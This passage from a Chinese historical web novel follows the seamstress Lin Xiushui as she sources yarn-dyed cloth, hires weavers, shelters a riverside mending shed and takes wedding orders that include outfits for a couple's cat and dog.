“能正反都穿,一面嫁衣,一面是寻常日子都可以穿的,只用红绿两色,”林秀水收拢自己的裙子,坐到绣墩上,将自己的想法说了出来。 “你在这赚不了太多的,”金裁缝很明白,“我以为你在临安挣过钱后,以后就想着多往做好衣裳走,来钱又快,起死回生还比较容易。” “老金,什么叫起死回生,”林秀水哼了声,“我们那叫有起色了好不好?” “那你不先紧着那头,”金裁缝呼她的脑袋一把,“别叫我老金,被你叫老了。” 林秀水任由她呼,“懂什么,这叫女子爱财,取之有道。” 当然想赚钱,在满足自己温饱,不受饥寒,才能动恻隐之心。 反正衣裳要做,钱要赚。 免不得又说到两面穿旋裙上,她一肚子苦水,“天晓得,这种两面穿的旋裙好做,但是合适又出挑的料子不好找啊。” “我,庄管事,还有其他两个看布娘子,在三家布行里,三百八十七匹料子里,只找到了九十五匹合适的料子,我当时硬着头皮请了八个绣娘,三个过来说,真干不了这活。” “织金的五个人,跟我说,再定那种难的花样,五六日内出工的话,谁爱干谁干去。” 林秀水有苦难言,嘴上说得很轻巧,实则真没有那么好做,衣物最好做的就是料子、形制、做工完全一样,最难做的,则是她眼下这种完全把自己架起来,左右为难的情况,根本没有那么多不同的料子可以给她用。 做下裙的话,容易皱的,纹样好看料子却硬,穿起来闷得慌的,手感很糙的等等不能要,技艺上销金的被排除,这玩意瞧着金光闪闪,实则洗不得,碰不得。 林秀水最后来一句,“我打算一边找料子,一边做小孩穿的衣裳,母女起码能穿一样的,把生意先稳住。” “你赚了多少?”金裁缝冷不丁问一句。 “别问这种伤感情的话,还血亏呢,”说起来林秀水想发疯,如果一切顺利的话,起码到十二月她才能收支平衡,眼下只是刚迈出一小步。 金裁缝了然,“那你反正亏了那么多,也不介意再亏点,债多不压身,我给你出个招。” “自己找人出结花本,自己织布。” 稳定又与众不同的布料来源,是眼下撑起满池娇的横梁。 林秀水一琢磨,她握住金裁缝的手,深情地说:“老金,以后有我一块布,就有你一件衣裳穿。” 金裁缝没好气地说:“少说这种鬼都不说的话。” “多说点人话,”林秀水立即接了下一句,她坐了一会儿又走出去,戴上风帽,这天冷得跟下一刻人不活了一样。 她穿得厚,街上有穿纸衣或是件单薄衣裳的人从她身边路过,这些人比起夏天,更厌恶没有避寒衣物的冬天。 前朝诗人有句话,叫做安得广厦千万间,大庇天下寒士俱欢颜,到了她这里是,安得布料千万匹,消寒驱寒避寒。 可她没有千万匹布料。 什么天下也太遥远了,只有身边能顾得上。 她先是到裁缝作里,跟庄管事和顾娘子商量,自己请人织布的事情。 这点顾娘子早已有了安排,再找织工,毕竟满池娇此时太过于依赖于好布料,如果布料供给不上,那边的生意就会急剧下降。 林秀水此时说:“如果招织工的话,之前织巧会有许多娘子,手也很巧,只是没有合适的机会,我认为可以找她们来织布。” “你们满池娇要的布料很难织的,”顾娘子说。 林秀水坚持己见,“可以给大家几天,先试试可以不可以织。” 这个冬天跟从前的冬天一样冷,林秀水自己穿得暖和,也会想让别人穿暖一点。 当然得益于满池娇赚了钱,底气很足,林秀水去一家家找人,有好几户在屋里织粗布,一匹粗布赚两升米钱。 她都请大家过来试试,至少比织粗布的价钱高。 “要是不成呢?”有位娘子忐忑地问。 林秀水说:“不成来缝补,肯定叫你们有钱赚,不会空着手回去。” 她没说虚话,她真的有不少活,帮大家也是帮自己。 第88章 第 88 章 陪嫁与陪娶——嫁衣…… 结花本为工匠画出来织花的样稿, 一根根丝线计算过去,最终编成纹样,如常见花朵, 牡丹、莲花、水仙等等,又诸如宝相花纹、团花、方胜等,或是各种新奇的花鸟鱼虫, 再由织工织出所绘花样和图案。 顾娘子此次招了六个结花本的师傅,三十个技术娴熟的织工,她们很会织布,无论是斜纹显纹样的缎花绫, 还是暗花纱、亮地纱、花罗、绸与缎。 至于林秀水请来的妇人,也会缫丝织布,只能织最普通的绢布和细布, 这种手艺她们大部分很擅长。 五两熟丝便可以织一匹小绢。 有三个妇人看向大桶里的熟丝,映入眼帘的不是熟丝的白色,而是一卷卷染成粉的丝线,有些粉线尾端透着淡淡的白,另有大红与暗红两种色线。 林秀水也顺着她们的目光偏到左侧,瞟到色线又转回来,告诉在场好奇的人, “虽说是织绢和细布, 但跟之前白熟丝织好的匹染布不同, 这种叫色织布, 需要大家织得上心点,注意有没有差色的情况。” 按时下的布匹染色工艺来说,基本为整段织好的匹染,像先将丝线染好再织的很少, 所耗费的织布工时会比匹染更繁琐。 可林秀水却知晓,色织布比匹染的固色要牢,不会轻易褪色,颜色更为鲜亮,耐洗耐穿,后续熟练的话,能用其他不同颜色的线,织成格子布,撞色、横纹、竖纹,花样很多,织出来的布绝对是市面上没有的。 当然丝线的损耗相对来说会较多,布料织出来手感没有那么顺滑,也会 比寻常细布硬上一些。 以林秀水的记忆和见识,即使色织布的缺点很明显,她依旧很看好色织布的长远发展,哪怕眼下会走些弯路,用更多的钱去填色织布的大量损耗。 穿翠蓝缎面夹袄的顾娘子从旁走来,她看一眼面面相觑的一群人,挽着垂落的袖口说:“织出来的布,到时候我们挑挑,按月一人给一匹,以及两贯月钱。” 压根不用顾娘子多说,原本心存疑虑的众人,急忙跟着师傅找地方坐下,一匹绢值一石四斗的米,全铆足劲要用心织,织绢和细布的机子对她们来说很容易上。 这批二十三个人,顾娘子都给留下先用着,看看色织布的成效,她又轻拍林秀水的肩,“去看看新纹样。” “你今日搭的这衣裳不错,”顾娘子跟她闲聊,“我看最近又时兴起红衣红裙,你不是买了许多匹红布,怎么没见你穿过?” 林秀水抬起袖子,她里面穿了件杏花色的上裳,外面是灰紫色锦面无袖背心,对襟处缝了浅蓝色窄边,镶了银制的小花扣子,下身为蓝色百迭裙,都絮了丝绵,不臃肿,穿得很暖和。 “红布最近紧俏,我多囤一点,”林秀水走到顾娘子右手边,撩起垂下来的帘布,拿起钩子挂上后来了句,“穿红的太贵,灰的便宜啊。” “你一个月拿整个裁缝作最多的月钱,你很穷?”顾娘子压低声音,挑高眉毛,不敢相信自己听见了什么。 每个月月钱五十贯,还换十几匹好布,抽纱绣跟满池娇都有抽成和进账,因九月的失利,节礼还发了武康的鹅脂绵、缬罗,两匹锦缎。顾娘子当真狐疑起来,“你干什么去了? “买丝绵和厚布去了,添置过冬用具,”林秀水笼统地说,实则在心里算这笔账。丝绵越涨越贵,她买了三十来斤,花了十五贯,抹了零头,厚布十匹,四贯五钱一匹,四十五贯钱,做成衣卖出去赚七八贯,另有做手套的油布,绢孩儿和猫玩偶她也没转手给其他人,赚得不多而已。 钱到她手里,右手裁缝作进,左手裁缝铺出去了,且今年年底人情往来,花销大,钱根本不经花,她还攒钱想明年买座大屋子,大概两百多贯。 林秀水信口开河,“等我哪天想开了,我就把钱全给嚯嚯了,穿锦帽貂裘,头上簪五六把金梳…” 顾娘子听乐了,两人又说了一通闲话,看着工匠新出的结花本,纸上的样式精巧,粉绿的桃花纹,四瓣花型的窗景纹、绿地黄粉荷塘纹等等,林秀水一张张看得仔细。 她一一排开挑完样式后,跟顾娘子说:“这两个月的买卖肯定会有回落,等新出的料子,色织布和新花纹织成的话,可以稳上一段时日。暂且不做新样式的裙子,下一月做年底腊月边上穿的袄子,我们大家这个月商量。” 顾娘子听她慢慢说来,谈笑时模样依旧,说到衣裳正事上底气很足。 “以及临安那边,我是不会回去的,我更适合做衣裳,那边既有姚管事,又有谷娘子,再招三个临安本地的小娘子,”林秀水说着自己的安排,她没有犹豫地继续说下去,“张莲荷别看她年纪小,其实给她些时日,说不准能有其他造化。” “所以那个界北的宋家成衣铺,如果可以,让她去瞧瞧。” “嗯,”顾娘子对她前面的话赞同,摆弄着香盘,听到这一句,她放下瓷盖子,“嗯?什么?” 界北是临安御街从和宁门杈子外,到朝天门外清和坊的路段,那边有临安众多有名号的铺席,宋家成衣铺是其中一间。 顾娘子托了些关系,花了一笔银钱,本想叫林秀水到里面待上几日,瞧瞧人家的买卖营生怎么做的,或是衣裳样式,指定大有裨益。 林秀水又不想一门心思往经营铺子上钻营,她只想好好做衣裳,本来就该什么人操心什么事,裁缝操心针线便足够。 其实顾娘子心里根本不相信,也不想答应,张莲荷太稚嫩了,当然她没有直接拒绝林秀水,毕竟这种事情上,要顾及到她的想法。 将香盖放好的间隙,顾娘子便有了主意,她说:“那叫她先学好临安话,其他的事情暂且缓缓。” 林秀水早知道结果,她一点也不失望,顾娘子心里有了成见,她多说无益。 两个人商谈了不少事,临走前林秀水讨要起裁缝作换下来的旧帐幔,这一批是顾二娘那里来的,都是些厚实的蓝布料子。 “你都对不起你拿的高月钱,”顾娘子被她整得一愣,颇为嫌弃地说。 林秀水丝毫不在意,月钱她拿了,活她做了,主意她出了,讨些旧布料怎么了?别的想她讨,就算是讨饭,她也不会讨的。 实在最近林秀水在裁缝作里太沉稳了,让顾娘子都忘了她早前的德性。 林秀水请人帮她拿扎捆好的旧帐幔,装满后船舱,有三个娘子要抢着替她摇船,很殷勤,她婉拒了,无非是想叫她们家的闺女、亲戚到满池娇里来,都眼馋那份月钱和节礼。 反正大家都知道,节礼发炭又发中色白米,多少月钱没打听出来,可肯定赚钱,钱这种东西,即使用布死死捂住,也会从孔眼里跑出来,被大家看见。 自打满池娇在临安稍微立住脚跟,林秀水在裁缝作就成了香饽饽,连最开始在领抹处一起做活的几位娘子,也不再如同从前那样爽朗,有话直说。反而明里暗里说着以前照顾她的诸多事情,然后来一句,“阿俏,我家里有门亲戚…” 当得到她委婉的拒绝后,说晚些再招人,那原本堆笑的脸,立即失了笑,眼神也变得冷漠,转身就走,暗地里跟很多人说她没良心。可是明明很久之前,她们确实关系要好过,哪怕在三个月以前的七夕,她们曾为她跟其他裁缝对骂。 林秀水想起这些事,长叹一口气,她有点想小春娥了。 为了躲避她们,不想看那些没被满足私欲后扭曲的脸,不想听背后诋毁的言语,林秀水拿了旧布前,跟顾娘子说她休息几日。 她回到了桑桥渡,在桑树口的溪岸处停船,从一手拎一捆旧布,远处缝补廊棚里有二十几个人坐那,冷得一抖一抖,嘴巴也没歇过。 阴蒙蒙的天,河岸口的风一阵阵吹来,守在老算命摊子前蓄了浓密胡子的汉子,打了个大喷嚏,又喊:“这是什么鬼天!” “啊,是阿俏!!” 林秀水把布往廊棚上一墩,搓搓勒红的手,指指自己的脸,“我可不是鬼。” “他当自个儿在城隍庙呢,鬼话连篇的,”黄阿婆抽出几根竹子,一圈圈捆在散架的火盆上,笑着开口,“你可是我们桑树口的人。” 林秀水被拉着坐到唯一的火炉旁,她笑盈盈地说:“对啊,我可是桑树口的,这不也没忘了大家,寻思大冷天缝补怪冷的,正好有一堆旧布,大家一块给拼凑挂在长廊底下,至少能挡不少风。” “你说说你,折腾这做什么呢,在哪,我去搬。” “我也去。” 几个男子站起来,以前常来缝补的张大娘一想,赶紧说:“那可不行啊,这不管布是不是旧的,还是发黄了,都只能白天里挂,夜里挂可不行。” “是啊,早晚被偷,”边上另一位娘子接话。 林秀水给出的主意,先在旧布上从头缝一道可以让木棍穿上去的缝隙,两根柱子上敲竹钉,架起来便可以贴着柱子,换取方便,起码能挡河道口吹来的冷风。 大家不嫌弃旧布发黄,皱巴巴,打结,有些破洞和污渍,也不觉得布少,只够围挡一面的,赶紧铺展开来,高高兴兴忙起来,去找结实的木棍,胡娘子放下手里的活,取出针线来大家一块补。 到第二日,简易围帐就做好了,面朝河风最盛的那一面围了起来,还有两个进出的门口挂起布,光和风从靠墙的那面漏进来。 也不怕遮挡起来没生意,反倒是这样,过来瞧热闹的人更多,之前河风太大,火 盆都烧不起来,这会子拿出自家的火盆,放些木炭,烧得红火。 老算命穿件褐色旧袄子,左手提了个炉子,右手拎一个黑黢黢的茶壶,肘口处挂篮子,篮子里有半包茶饼,侧身进帘子,他说:“这下好了,说冷得慌,做到昨天就不做了,被阿俏给治好了,还得接着干。” 一个穿旧衣短裤子的小孩接话,“对呀,可好了,风不往我鼻子里吹气了,我总要打喷嚏。” 大娘说:“那你得多谢谁?” 小荷跑进来,她吃着煮熟的鸡蛋说:“要多谢布,再多谢布的子子孙孙。” 大家哄然大笑,都很喜欢逗小荷,上次她和王月兰去临安,回来大家就问她,她阿姐在做什么? 结果小荷回来说:“在做青蛙垫,卖呱呱伞,做大荷花穿的衣裳,大家都去买。” 林秀水一听她胡说八道,都不想进去了,最近学点新东西,问小荷诸侯是什么,她说是猪跟猴子,但为什么不是猪狗呢? 她最终掀帘子进去,廊棚底下热热闹闹的,大家摆好摊子,胡三娘子补冬天袄子,黄阿婆继续修火盆,周阿爷劈竹子哗啦哗啦的…,老算命在测八字,林秀水坐在这,哪怕什么都不做,都觉得心里很平静。 至少这里的大家都跟从前一样,一点微小的东西,照旧很满足。 她一出面,来廊棚里的人惊讶,有娘子拿着一件旧袄子问:“阿俏,你重操旧业了?” “早知道你来,我前头那三大件都留着不补了,我那屏风、窗子,两排大门应该给你补来着,尽想着漏风了,补早了,我咋这么后悔呢。” 林秀水听不下去,想捂住耳朵,压根不用后悔,两排大门,谁补谁遭罪啊。 想溜走的时候,李媒婆正带一对老夫妻过来,找老算命算个日子,打了帘子,几人迎面碰上,李媒婆嘀咕哪里来的旧布,看见她时,突然想到什么,忙伸手拉住林秀水,“阿俏,你等等我啊,我有生意找你。” 林秀水等她出来,李媒婆正正自己的抹额,边走边说:“你上回说,不是寻我做嫁衣生意吗?你别说,我还真给你寻摸到门活计,我一听那要求,想着只有你能做,旁人可都做不了啊。” “什么生意?”林秀水有点狐疑。 毕竟桑树口有句话,叫作信天信地信个鬼,都不要信李媒婆的嘴。 李媒婆拿出红巾帕,抖抖手说:“到铺子里说,外面冷得慌。” 到铺子里,李媒婆先捡了较小的生意说:“我找你们定二十张皂罗巾缎,三十张箧帕。” “这是女方给男方那边的回礼,大冷天懒得动针线活,又买不到好料子,怕丢丑,你们给帮忙做做,一张巾缎六十文,一张箧帕五十文,怎么样?” 箧帕,林秀水想了想,金裁缝说:“用来擦东西的帕子。” “那可不是,我们用来给郎君擦脸的,”李媒婆赶紧说,“可不是个东西。” 此话一说出口,林秀水先笑出了声,李媒婆急忙看向铺子里,来得早只有阿云在打扫,松了口气。 又岔开话,说起嫁衣生意来,她手里头有几个做便宜嫁衣的,林秀水这几日已经想好了,与其两面穿的,不如精工做件红色长背心,哪怕内里只穿件简单的,毫无修饰的嫁衣,她也能将其做得瞧着出众。 不过听见李媒婆吞吞吐吐道:“至于我说的这另一桩独门生意,这一对新人除了销金盖头、销金裙褙、彩袱等到你这定之外。” “两人还有个请求,就是这一对,各有各的名堂,一个有陪嫁,一个有陪娶。” “想着一同穿上嫁衣,之后陪着入新房后坐富贵礼。” “让我猜猜,鹅、羊或是大雁?”金裁缝说。 李媒婆摇头,“倒是寻常的猫与狗。” 林秀水不相信,等见了后这对新人,以及双方陪嫁陪娶的猫与狗。 没头脑狗与不高兴猫。 根本并不寻常。 女子似乎挺了解林秀水,她主动说:“我们可以加钱。” “加多多的钱。” 林秀水无话可说,搞得她很爱钱一样。 可她根本不会拒绝钱呢,面露笑容,“好说好说。” 林秀水倾情推荐,“你们要不要画自画像,我们不仅可以画人,还可以画猫狗,尤其是猫。” 第89章 第 89 章 水记全衣诚招裁缝 “这自画像我知道, 我姐在你这里定了三身衣裳,你还记不记得?” 女子叫作方星,身形高, 却不瘦弱,脸稍圆润,一只手挥舞着, 另一只手牢牢拉住想要奔跑疾走的大黄狗,她用脚勾住狗的脚,怒斥道:“来富,你要咬坏了布料, 我是不会赔的!我不仅不赔,我还把你拉出去游街示众。” 来富这只大傻狗,它歪着大黄脑袋, 汪呜嗷一长声,抖着狗腿,咧着嘴嘿嘿傻乐。 金裁缝被它吓一抖,林秀水则想同样是大黄狗,喜欢穿油衣的黄三金,跟这人来疯的方来富,狗跟狗当真性子不相同。 她又回忆起方星的姐姐, 定三身衣裳的, 一时想不大出来, 一气要做三身衣裳的不在少数, 她能想到的人便有八个,最多的定过八身衣裳。 此时阿云走到她身后,用手掩住嘴巴,小声提醒, “是过街方家食肆里,方铛头的大女儿,叫方丹的那个,小娘子你跟金裁缝商量,给她做过一身叫橙黄橘绿的衣裳。” 即使阿云说到方家食肆,方铛头是烧饭的伙夫,可林秀水仍旧很模糊,试图比对方星跟方丹的样貌,听见橙黄橘绿这四个字,什么都想起来了。 当时林秀水还买了一兜子的黄色橙子,和一堆橘子,不止青皮柑橘、绿橘,只要是跟青或绿沾边的,她全买了回来。 让方丹挑中意的颜色,她喜欢的橙黄,偏橙子刚长熟没多久的橙,不是柿子成熟后的柿子皮颜色,绿色则为青橘底部稍显透亮的绿色。 甚至没有多少样式和绣样的要求,只有颜色要符合,钱给得也多,一身衣裳下来林秀水能赚两贯六钱。 绿色好染,街上多的是染绿的染肆,桑青镇里染绿用靛蓝与槐花套染,染出想要的绿,增减几次便可以。不过橙色染的不多,林秀水找了好几家染肆,最后用黄栀子加苏木,反反复复试出来的,成色的时候,那橙子都皱巴了。 后面林秀水将橙布裁了做上襦,绿布做百迭裙,黄绿混染为袄子,穿起来颜色鲜亮,很俏皮,她还用剩下的料子,剪成菱形,拼凑成菱形绢布提包送给了方丹。 林秀水想起这档子生意,她看了眼方星,两姐妹长得根本不像,方丹更秀气,方星则要活泼许多。 她此时才能回答方星刚进门后的话,“我记得,先是定了橙黄橘绿,后面又定了两身,一身雨过天青,还有葡萄色对不对?” “对对对,那时我在外祖家,看着她穿的衣裳我可眼馋死了,”方星抱住急欲奔蹿的方来富,又扭着头找老猫陈来贵,只见它早窝在角落的炉子旁,前面两只爪子揣在腹部底下,昏昏欲睡,叫它也就偏偏脑袋,爱搭不理。 方星气哼哼,“早知道不说给这两只做陪嫁衣裳了,净知道气我,就该拿红绳左捆一只,右捆一只的。” 只是她又舍不得,养大黄狗养了三年,每日遛它遛的人力气都大了许多,一把砍刀拿在手里的话,可以剁碎一根大骨头。老猫认识虽一年,每次见面还摆着张臭脸,也不会凑过来,可尾巴却竖得高高的,一听见她脚步声,耳朵立即动起来。 她很懂,假装不在意,实际超级上心,跟她要嫁的这个人一个德行。 金裁缝招呼其他进门的主顾,林秀水蹲下来顺着摸摸猫,“我们上其他地方说去吧。” 转到后面屋子里,方星叫她未婚夫陈山赶紧带走,林秀水这才注意到这个沉默寡言到毫无存在的男人。 他叫一猫一狗,倒不叫陈来贵,方来富,而是喊:“鳝鱼,大骨头。” 明显猫跟狗更喜欢这个名字,乖乖走了,绝对不是因为陈山兜里有吃的。 方星咳了咳,给自己描补,“你懂的,毕竟是自己养大的,起个大名正式一点,你有没有听过狗来富,猫来贵,我们这名字取得还行吧。” “这猫吃鳝鱼会壮,狗爱吃骨头,做小名刚刚好,”方星越说声音越大,眼神亮亮,“正巧我们方家食肆做骨头米脯和出骨鳝鱼,你爱不爱吃,我不要你钱,你可以多吃点。” 林秀水闻言笑道:“这两样菜我也听过,我肯定会去捧场,怎么好叫你请,即使要请也得看看我衣裳做得好不好,到时候再请不迟。” “对了,说到衣裳上,”方星才想起正事来,她很容易说到一处,就忘了另一处,她挪挪凳子说,“我家中到时候还有两个孩童,一个栓大骨头,一个抱鳝鱼的,也要穿的红红火火,其 他家做的我不太满意,交给你做,钱好商量。” “这个数怎么样,”方星伸出两根手指晃了晃,“不够还可以再加。” “两个孩童的话,如果只有三五岁,再加上猫狗的话,二十贯可以做得很好了,”林秀水回她的话,“袄子里丝绵能多絮一层,能额外再多做条厚裤子。” 方星很大方地说:“加,我们不差钱。” 她听着外头喧闹的动静,好奇往后面瞧去,只能看见一堵木墙,她站起来说:“你家铺子生意怪好的,听着不少人,我们先回去,等到下晌再过来,那时候人应当少些。” “你猜我为什么知道,今日午后肉行有批很便宜的猪皮卖,大家肯定要去抢的,这做水晶脍最好吃了。” 林秀水起身送她,故意道:“你怎么知道我不会去抢呢?” “你要啊,”方星当真了,她急忙说道,“我送你嘛,别去抢了,太费劲了。” 下晌的时候,她带着一对五六岁的孩童过来,手里捧着一大碗水晶脍,请林秀水和金裁缝吃,“别客气,敞开了吃。” 金裁缝说她没心眼,林秀水好想说,什么样的主人养什么猫狗。 晚些量身,这一对孩童,女童五岁,男童四岁,长得很讨喜。大一点的叫小团,小一点的称小圆,不是亲姐弟。 小团很自来熟,一屁股坐到绣墩上说:“我想要大老虎,我喜欢老虎,姐姐,你是不是属虎的?” “那不是,我属钱的,”林秀水将手里的小布尺慢慢捋直,笑眯眯地说。 小团她有些惊讶,嘴巴张得大大的,她挠挠脑袋,“那我们捡钱的时候,怎么没有捡到姐姐你呢?” 她又问:“姐姐,你属什么钱?铜板、银子还是金元宝呀?” 林秀水叫她伸一伸胳膊,把袖子解开一点,露出里衣来,布尺从胸前绕上去,拉好时笑道:“我想属金元宝。” “那你能分一点给我吗?”小团努力把胳膊伸得笔直,长长的,歪着脑袋问。 方星早已笑趴下,差点一屁股坐到胖嘟嘟的小圆,他挥着手喊:“不是凳子,不是凳子,坐到我脑袋了!” 林秀水笑得肚子疼,还伸手捂住小团的嘴,笑得太过,要吃冷风到肚子里。 闹了一个下午,总算摸清两个孩童的喜好,小团喜欢大老虎,林秀水打算再做一个虎头帽,小圆说了大实话,“喜欢吃。” 不过两人都喜欢红色,小孩穿的衣裳样式跟大人的相同又不相同,男女衣物上分别并不大,都穿斜领交襟的袍服,长到足背,穿貉袖,袖口只到手肘处,或是袄子再加上一条长裤。 林秀水琢磨怎么做才好,第二日方星又带了猫跟狗来,林秀水也带了专门的“训猫师”广惠,这小子学一阵画人像后,不想干了,跑去猫儿巷给猫搭棚子,做猫食去了。 “别说的我干一行弃一行,”广惠将手塞进黑袍子袖子里,冷死了这个鬼天,他吸吸鼻子,“我爱猫可是从始至终啊。” 从始至终对他的意思是,从刚认识能一直送到猫离开这个世上。 他今年在林秀水这里画猫玩偶赚的钱,又全花在猫身上了,陪了不少猫走完最后一段路。 看见趴在地上的狗,广惠违心地说:“我们爱猫的,其实也爱狗,什么都爱,猫狗一家亲 ,这才是天下大同。” 林秀水呵呵笑两声,方星给他拍手叫好,“你说得对,猫狗可不就是一家人。” 两个人在此上头达成一致,当然到猫狗穿什么颜色,各执一词,林秀水插进话来,举起手里的红绿签,“选到什么颜色穿什么。” 一长条瘦狸花猫根本不搭理,它板着脸,眼睛下拉,趴在桌子上,大胖狗一根大尾巴横扫罐子,啪嗒冒出两根签子,它围着转来转去,咬住两根含在嘴里满屋跑,被方星硬生生拽下来一根,是红的。 红猫绿狗,林秀水记下来,再是给大胖狗量体,好壮实一条狗,根本按不动它,三个人按一条狗,狗差点去做面案师傅了,它致力于将自己扭成一根麻花辫。 猫任由摆弄,浑身软绵绵的,抬胳膊抬腿都可以。 外头刮冷风,林秀水热得冒汗,吹吹手上的猫毛跟狗毛,她说:“五六日我差不多能出衣样,其他销金的裙子,我们是请外面的师傅做的,尽量叫他们做得跟其他人的不相同。” “请我们做了的,哪里不满意都可以改,小孩的衣物会放大一些,长个子快,明年也可以穿。” 林秀水说得很细致,连多少尺寸也一一说明,用多少的布料,什么丝绵等等,方星听得津津有味,她一跟着点头,她牵着的大胖狗也连连点头。 下晌林秀水还有桩活,就是做了一件红色大袖衫,袖口特别宽大,用的料子是红细布,本来想做无袖的,很省料子,金裁缝彻底给她否决了。 理由是不可以断袖,短袖也不行。 金裁缝给来的王娘子量完身,把一包白珠子递过去,她对着光看针眼,年纪大了,眼神不好使,问林秀水,“还差什么?” 林秀水捏着袖口处,头也不抬地答道:“很快就能好。” “只要我把珠子缝到袖口处,从这里缝一圈,缝两个红色裙带,将这四条白边绣红牡丹纹的领抹缝上,加上披帛…,我就可以做完了。” 金裁缝嗤笑一声,“要是叫你去划船,那从桑桥渡才刚出来,从你嘴里就已经要到清河坞了。” “中间的路全被你吃了。” “那我可真厉害,”林秀水换了根针,晃晃脑袋,“连路都能吃。” 金裁缝拿起剪子,她心里算盘打过,问了一句,“怎么这些日子,那小陈也没来过了?” 林秀水终于抬头,瞅了金老太太一眼,“你想吃什么?” 陈九川挺能献殷勤,他一献能献四个人的,首先是林秀水,再次是王月兰、小荷,以及金裁缝。 诸如前段时日鲫鱼特别肥,镇里有冬天吃鲫鱼的说法,陈九川买了一堆冬鲫鱼,剖好送给王月兰,顺势讨教下厨艺。 王月兰根本没有多少厨艺可言,不过如果说别人下 不来棋,叫作臭棋篓子的话,那么她可以叫饭菜篓子。 介于难吃和不好吃中间的,不大好吃。 不过陈九川很乐意跟王月兰讨教,讨教着顺势饭菜做好了,东西收拾好了,王月兰舒坦了,林秀水吃上了,小荷跟金裁缝沾光了。 金裁缝不承认,“我牙口不好,还贪什么吃的,我就问问。” “做生意去了,”林秀水说,“好像是到明州去的船运生意。” 她低头继续缝制,捏着针,针脚依旧很整齐,却有什么悄悄爬了上来,没拿稳珠子。 给嫁衣绣好一圈珠链,回到家,王月兰用竹木板拍打新做的两床丝绵被,很厚重,盖着会很暖和。 两床被子,两床褥垫,请人做了半个月,花了三贯六钱,全都很厚实,盖起来从头到脚都暖和,不会再跟之前一样,一觉醒来被窝冷似铁。 当然要是从前冬天里,王月兰指定把五六年前做的褥被拿出来,将团结成块的丝绵拆开,絮点新的接着盖,只要冷不死就行。 今年嘛,盖最厚的被子,穿暖和的袄子,林秀水还买了一贯多一个的汤婆子,买了两个。王月兰心疼归心疼,毕竟一口气花掉了她在织锦作坊一个月的工钱,可这黄铜的汤婆子,夜里灌了滚烫的热水,早早塞被窝里时,可真暖和啊。 总算不用她先睡热了被窝,再喊小荷上床睡觉。 热的时候不觉得,一冷下来,才发觉日子好过。 王月兰穿着厚底塞了绵的鞋子,走起来砰砰作响,她收好竹板,朝林秀水走来说:“买了一只鹅,今年鹅价还真贵,六百文钱一只,杀了给你补补。” “叫桑英也来吃,就是这阿川不在,上回他说的什么来着,放点香料进去炖会好吃点。” 王月兰拎着鹅念叨:“你说说,去做什么生意了?听说夜里突然喊他的,说是耽搁不得,连夜就走了,我都是第二日听桑英过来才知道的,白日走又怎么了。” 林秀水换了身天蓝袄子,闻言忽然心有点虚,只好附和道:“是啊,走得这么急。” 其实那天夜里,她便知道了。 不免会想起,那个临走前的夜晚,陈九川显得很为难,最后他说回来后有话跟她说。 林秀水睡在软和的被窝里,难免有些失眠,闭着眼,在想什么,她不愿意说。 到了隔日,天更冷了,林秀水的手缩在袖子里,她还给自己缝了个暖手袋,可以塞进去,就是没什么人会买。 大家觉得不体面,宁可全靠抖,说一身正气足以过冬。 她一冷,手指僵硬,根本不愿意缝衣裳,总是先将手放火笼上捂热了,勾勾手指,不再僵硬,继续慢慢缝好。 金裁缝走过来,拿起林秀水放在桌边的大袖衫,看一圈袖口的珠子,领口是白底的,绣了红色的牡丹、并蒂莲花纹。 这倒并不太出奇,她翻到后背,觉得有点意思在上头,只见这红色大袖衫背后,有着花团锦簇的图案,从背部的聚集,渐渐散落到腰以下的部位,各种颜色的花卉聚拢。 在这些花朵处,缝着一个五彩斑斓的蝴蝶香囊,从香囊尾部垂下来三串珠子,珠子下又垂落两根红色绣花飘带。 若是走在新娘子后面,一定会将目光聚集在后背处,越走动效果越好。 隔壁王家租铺的王娘子被这大袖衫吸引,来来回回在手里看,此时后悔的心情已经让她无暇顾及,她上回怎么说来着,好嫁衣大家都买不起,这笔生意她绝对不会做的。 她干笑着,上牙差点黏在干涩的嘴唇上,勉强将目光从大袖衫移开,稍稍弯身跟林秀水商量,“小娘子,你瞧瞧我们做笔生意如何?” “你把这大袖衫卖给我,我要得多,二十件如何?我每件给你五贯银钱,我们买卖生意,你赚点,我也赚点。” 王娘子她生怕林秀水不答应,一句话的话音刚落,另一句急急吐出来,“我们王家租铺生意大得很,镇里镇外都送的,到时候我们送些花轿、衣裳的,有人想做衣裳的,给你介绍生意,不会说别家的名头。” 林秀水根本没有不答应的理,一件大袖衫她还能赚王娘子一贯银钱,且嫁衣这种是应季生意,她只赚两三个月,犯不着自己做许多嫁衣。 “那当然可以,我们一切好商量,”林秀水将大袖衫放到王娘子手上,“王娘子你尽管先去挂那瞧瞧,有没有人要租。” “我根本就不用看,”王娘子说了自己的心里话,“我自个儿都想租。” “你赶紧做,我可以先付五十贯银钱。” 林秀水一口答应,她本来就将料子备好了,等钱到她手里,契约签订好。 这笔生意定下,她最近除了裁缝作里的活,只有方星的单子。 孩童的衣物最好做,尤其男童的,狗和猫最难做,林秀水画得四不像,揉皱纸又扯平,坐到腿麻也没有想好,所幸时间还算宽裕。 她跟金裁缝探讨,金裁缝听得头疼,她没见过猫狗穿衣裳的,只好说:“等我下次做猫做狗,能说狗话再告诉你。” “不过你上次不是说,要招几个裁缝?” “对啊,真的要招裁缝了,活一多,只能全部分给裁缝作,麻烦得很,”林秀水点点头,铺子生意越来越多,以前将活转让裁缝作里的裁缝缝制,她准备挪出来,以后不再将活都分给裁缝作。 她在裁缝作越混越好,铺子里的活分给大家做已经不合适了。 她想要招裁缝,慢慢组建自己铺子的裁缝作坊。 先诚聘五名裁缝,三名绣娘。 银钱和其他的自不必说,有五贯银钱外加种种节礼,只是当绣娘的要拿绣样,裁缝则得穿自己做的衣裳来。 第90章 第 90 章 可是我猜不到 桑青镇裁缝多, 只要会点针线活的,都能勉强称一句裁缝。 林秀水深有其感,此时正坐在二楼小隔间里, 听着眼前的女子喋喋不休,手里抻一条皱巴巴的暗青色抹额。 “你瞧瞧,我这针脚缝得多细致, 我在家里常缝旧麻布袋子,鞋袜,最会做鞋面,纳鞋底, 这是我上一年给我家老娘做的抹额,打她一戴上,就没离过脑门。” 李小茶说话得意, 这还是此次过来,从她娘头上薅下来的,在她娘抡拐杖打死她前,她赶紧塞到怀里,撂下一句话,等我招上了,我做十条来孝敬你老人家。 林秀水摸摸自己的脑门, 自打一招工, 她算是见识到了各方人马, 吓得她的头发都要往后搬家了。 她语重心长地问:“今日穿的衣裳是你自己做的?” 要穿自己做的衣裳来, 